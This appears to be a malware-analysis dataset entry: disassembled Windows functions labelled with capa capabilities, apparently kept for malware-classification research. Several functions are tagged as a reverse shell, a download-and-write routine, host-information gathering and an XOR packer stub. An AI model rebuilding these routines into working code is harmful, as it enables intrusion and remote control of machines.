joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100739d
Capabilities:
Parse pe header

Disassembly:
push 0x70
push 0x1001898
call fcn.01007568
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x10073da
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10073da
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x10073f2
cmp eax, 0x20b
je 0x10073df
mov dword [ebp - 0x1c], ebx
jmp 0x1007406
cmp dword [ecx + 0x84], 0xe
jbe 0x10073da
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x1007400
cmp dword [ecx + 0x74], 0xe
jbe 0x10073da
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x100ab9c], 0xffffffff
or dword [0x100aba0], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1009ab8]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1009ab4]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x100aba4], eax
call fcn.010075f4
cmp dword [0x1009608], ebx
jne 0x1007461
push fcn.010075f4
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.010075dd
push 0x1009010
push 0x100900c
call sub.msvcrt.dll__initterm
mov eax, dword [0x1009ab0]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x1009aac]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x38], eax
push 0x1009008
push section..data
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
cmp byte [esi], 0x22
jne 0x10074f7
inc esi
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, bl
je 0x10074cb
cmp al, 0x22
jne 0x10074bd
cmp byte [esi], 0x22
jne 0x10074d4
inc esi
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, bl
je 0x10074de
cmp al, 0x20
jbe 0x10074d0
mov dword [ebp - 0x54], ebx
lea eax, [ebp - 0x80]
push eax
jmp 0x100877f
cmp byte [esi], 0x20
jbe 0x10074d4
inc esi
mov dword [ebp - 0x20], esi
jmp 0x10074f7
not dh
sbb word [eax + 0x1013a00], 0x3eac
sbb ch, 0x13
not ecx
and edx, eax
jmp 0x1008766
lea edx, [ecx + 0x7293bafe]
dec ecx
jmp 0x10087ce
sub dl, ch
xchg dl, dl
mov dh, dl
not ecx
push 0x6968
clc
pop eax
xchg ch, ch
jmp 0x1008748
not ecx
lea edx, [edi]
not dl
jge 0x1008748
mov ah, 0x55
and al, 0xff
not ah
xchg ecx, eax
jmp 0x101a31b
xchg dl, dh
xor edx, 0xea05d8c6
sub eax, 2
nop
jmp 0x10087aa
Function at 0x4049f0
Capabilities:
Get common file path
Get disk information
Get hostname
Get memory capacity
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2160
call fcn.0040fb80
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x4963c8]
push ebx
push esi
push edi
mov edi, dword [eax + 4]
mov eax, dword [str._yDdB]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0x9e3779b9
mov dword [ebp - 0x1c], edx
call fcn.004049e0
mov ecx, dword [0x4963d0]
mov edx, dword [0x4963d4]
add dword [ebp - 8], 0x23f
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], 0x20
jmp 0x404a60
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov esi, dword [ebp - 0xc]
mov eax, dword [0x4a48c4]
shl esi, 4
add esi, dword [ebp - 0x24]
cmp eax, 0xfa9
jne 0x404a8c
mov dword [0x4a48c0], 0xedeb2e40
jmp 0x404aa7
cmp eax, 0x3eb
jne 0x404aa7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [0x4a4350], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x4a48c4], 0x9e6
mov dword [0x4a48bc], 0xf4ea3dee
jne 0x404ae2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x4a48c4], 0x213
jne 0x404b80
push 0
lea eax, [ebp - 0x1960]
push eax
push 0
push 0
push 0
push 0
call ebx
lea ecx, [ebp - 0x960]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x1160]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
push 0
lea ecx, [ebp - 0x2160]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
lea edx, [ebp - 0x30]
push edx
push 0
lea eax, [ebp - 0x4c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea ecx, [ebp - 0x160]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea edx, [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
sub edi, dword [ebp - 4]
cmp dword [0x4a48c4], 0xc
jne 0x404b9e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 8]
mov edx, edi
shr edx, 5
lea ecx, [eax + edi]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, edi
shl eax, 4
add eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 4]
xor eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
sub dword [ebp - 8], eax
sub dword [ebp - 0x14], 1
jne 0x404a60
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], edi
pop edi
pop esi
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404bf0
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Get thread local storage value
Read pipe
Set environment variable
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1408
call fcn.0040fb80
mov eax, dword [0x4a48c4]
mov ecx, dword [0x4a4354]
shr eax, 3
test eax, eax
jbe 0x404d0a
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x4a48c4], 0x959
jne 0x404cf0
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
lea ecx, [ebp - 0x1408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea edx, [ebp - 0xc08]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp - 4]
push ecx
call fcn.004049f0
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x404c30
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408d4c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x495540]
jne 0x408d56
repz ret
jmp fcn.0040d00b

Function at 0x40c043
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040a3ed
and dword [ebp - 4], 0
cmp dword [0x49b5a0], 0
mov ebx, eax
jne 0x40c0f4
push 0x4024fc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40c1a5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4024f0
push edi
call esi
test eax, eax
je 0x40c1a5
push eax
call fcn.0040a37b
mov dword [esp], 0x4024e0
push edi
mov dword [0x49b5a0], eax
call esi
push eax
call fcn.0040a37b
mov dword [esp], 0x4024cc
push edi
mov dword [0x49b5a4], eax
call esi
push eax
call fcn.0040a37b
mov dword [esp], 0x4024b0
push edi
mov dword [0x49b5a8], eax
call esi
push eax
call fcn.0040a37b
pop ecx
mov dword [0x49b5b0], eax
test eax, eax
je 0x40c0f4
push 0x402498
push edi
call esi
push eax
call fcn.0040a37b
pop ecx
mov dword [0x49b5ac], eax
mov eax, dword [0x49b5ac]
cmp eax, ebx
je 0x40c14c
cmp dword [0x49b5b0], ebx
je 0x40c14c
push eax
call fcn.0040a3f6
push dword [0x49b5b0]
mov esi, eax
call fcn.0040a3f6
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40c14c
test edi, edi
je 0x40c14c
call esi
test eax, eax
je 0x40c143
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40c143
test byte [ebp - 0xc], 1
jne 0x40c14c
or dword [ebp + 0x10], 0x200000
jmp 0x40c185
mov eax, dword [0x49b5a4]
cmp eax, ebx
je 0x40c185
push eax
call fcn.0040a3f6
pop ecx
test eax, eax
je 0x40c185
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40c185
mov eax, dword [0x49b5a8]
cmp eax, ebx
je 0x40c185
push eax
call fcn.0040a3f6
pop ecx
test eax, eax
je 0x40c185
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x49b5a0]
call fcn.0040a3f6
pop ecx
test eax, eax
je 0x40c1a5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40c1a7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403d7c
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], ecx
cmp dword [ebp + 8], 0
je 0x403d98
mov ecx, dword [ebp + 0xc]
call fcn.00402980
mov dword [ebp - 0x10], eax
jmp 0x403d9f
mov dword [ebp - 0x10], 0
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
neg ecx
sbb ecx, ecx
and ecx, 3
push ecx
push 0x45539c
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edx, dword [ebp - 0xc]
mov dword [edx], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
je 0x403dee
mov dword [ebp - 8], 0xfa0
push 4
lea ecx, [ebp - 8]
push ecx
push 2
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
push eax
call dword [sym.imp.WININET.dll_InternetSetOptionA]
mov dword [ebp - 4], 0
jmp 0x403df5
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x409b9d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4424c6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x170
mov dword [ebp - 0x164], ecx
push 0x4557e4
lea ecx, [ebp - 0x158]
call fcn.0042e2a5
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x16c], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x16c]
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x154]
push eax
call fcn.0042e540
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x158]
call fcn.0042e237
lea ecx, [ebp - 0x14c]
push ecx
lea ecx, [ebp - 0x154]
call fcn.00402980
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
je 0x409d0e
mov edx, 1
test edx, edx
je 0x409d01
lea eax, [ebp - 0x120]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x15c]
call fcn.0042e2a5
mov dword [ebp - 0x170], eax
mov edx, dword [ebp - 0x170]
mov dword [ebp - 0x174], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x174]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.0042e4cc
mov dword [ebp - 0x178], eax
mov edx, dword [ebp - 0x178]
mov dword [ebp - 0x17c], edx
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x17c]
push eax
lea ecx, [ebp - 0x154]
call fcn.0042e370
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x160]
call fcn.0042e237
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x15c]
call fcn.0042e237
lea ecx, [ebp - 0x154]
call fcn.00402980
push eax
call fcn.004165bf
add esp, 4
lea ecx, [ebp - 0x14c]
push ecx
mov edx, dword [ebp - 0x150]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409cfc
jmp 0x409d01
jmp 0x409c3c
mov eax, dword [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x154]
call fcn.0042e237
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b19d
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0
call fcn.0040c5a0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40b1d4
mov dword [ebp - 4], 1
cmp dword [ebp - 8], 0
je 0x40b1e4
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40be89
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00416960
push 0
push 0
push 0
push 1
push 0xe55a88
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x100c], eax
cmp dword [ebp - 0x100c], 0
jne 0x40bedd
push 0x40c5b0
push 0xe55a94
push 0xe5c8b0
call fcn.0040d540
add esp, 8
mov ecx, eax
call fcn.0040c6a0
xor al, al
jmp 0x40c057
push 0
push SysReAllocStringLen
push 0
push 0
mov ecx, dword [ebp + 8]
call fcn.0040c670
push eax
mov eax, dword [ebp - 0x100c]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40bf46
push 0x40c5b0
mov ecx, dword [ebp + 8]
push ecx
push 0xe55aac
push 0xe5c8b0
call fcn.0040d540
add esp, 8
push eax
call fcn.0040d850
add esp, 8
mov ecx, eax
call fcn.0040c6a0
mov edx, dword [ebp - 0x100c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x40c057
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov ecx, dword [ebp + 0xc]
call fcn.0040c670
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1010], eax
cmp dword [ebp - 0x1010], 0xffffffff
jne 0x40bfbf
push 0x40c5b0
mov eax, dword [ebp + 0xc]
push eax
push 0xe55abc
push 0xe5c8b0
call fcn.0040d540
add esp, 8
push eax
call fcn.0040d850
add esp, 8
mov ecx, eax
call fcn.0040c6a0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x100c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x40c057
lea eax, [ebp - 4]
push eax
push 0x1000
lea ecx, [ebp - 0x1008]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40c006
cmp dword [ebp - 4], 0
jbe 0x40c006
push 0
lea eax, [ebp - 0x1014]
push eax
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x1008]
push edx
mov eax, dword [ebp - 0x1010]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x40bfbf
mov ecx, dword [ebp - 0x1010]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x100c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x40c5b0
mov ecx, dword [ebp + 0xc]
push ecx
push 0xe55acc
push 0xe5c8b0
call fcn.0040d540
add esp, 8
push eax
call fcn.0040d850
add esp, 8
mov ecx, eax
call fcn.0040c6a0
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x426370
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00416960
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x42643b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x42643b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x4263ee
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x4263f9
or bh, 8
and edi, 0x8000000
je 0x426414
mov eax, dword [0xe5e09c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x42643b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x426810
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x42683b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x42685f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x42687a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x4269fd
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x426a1d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00417b77
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x426a40
test byte [esp + 8], 2
je 0x426a40
call fcn.00417bea
mov dword [eax], 0xd
call fcn.00417bf3
mov dword [eax], 5
jmp 0x426a19
xor eax, eax
ret
Function at 0x42b5ba
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x42b5f2
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0042e6de
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0042e6b6
jmp 0x42b5fe
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x42ce4b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x42ce8d
call fcn.0043dc14
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x42ce8d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x42ce84
xor eax, eax
jmp 0x42ce95
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0042ce9b
pop edi
pop esi
pop ebx
ret 4
Function at 0x407281
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461124], 0
jne 0x4072bf
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x407295
mov dword [ecx*4 + 0x461120], eax
inc ecx
cmp ecx, 0x100
jl 0x407290
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x4072ec
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461120]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4072cd
not eax
pop ebp
ret 0xc

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x62ae667a
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
nop
mov ebx, 0x42f314
mov ecx, 0x1c5a33dd
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219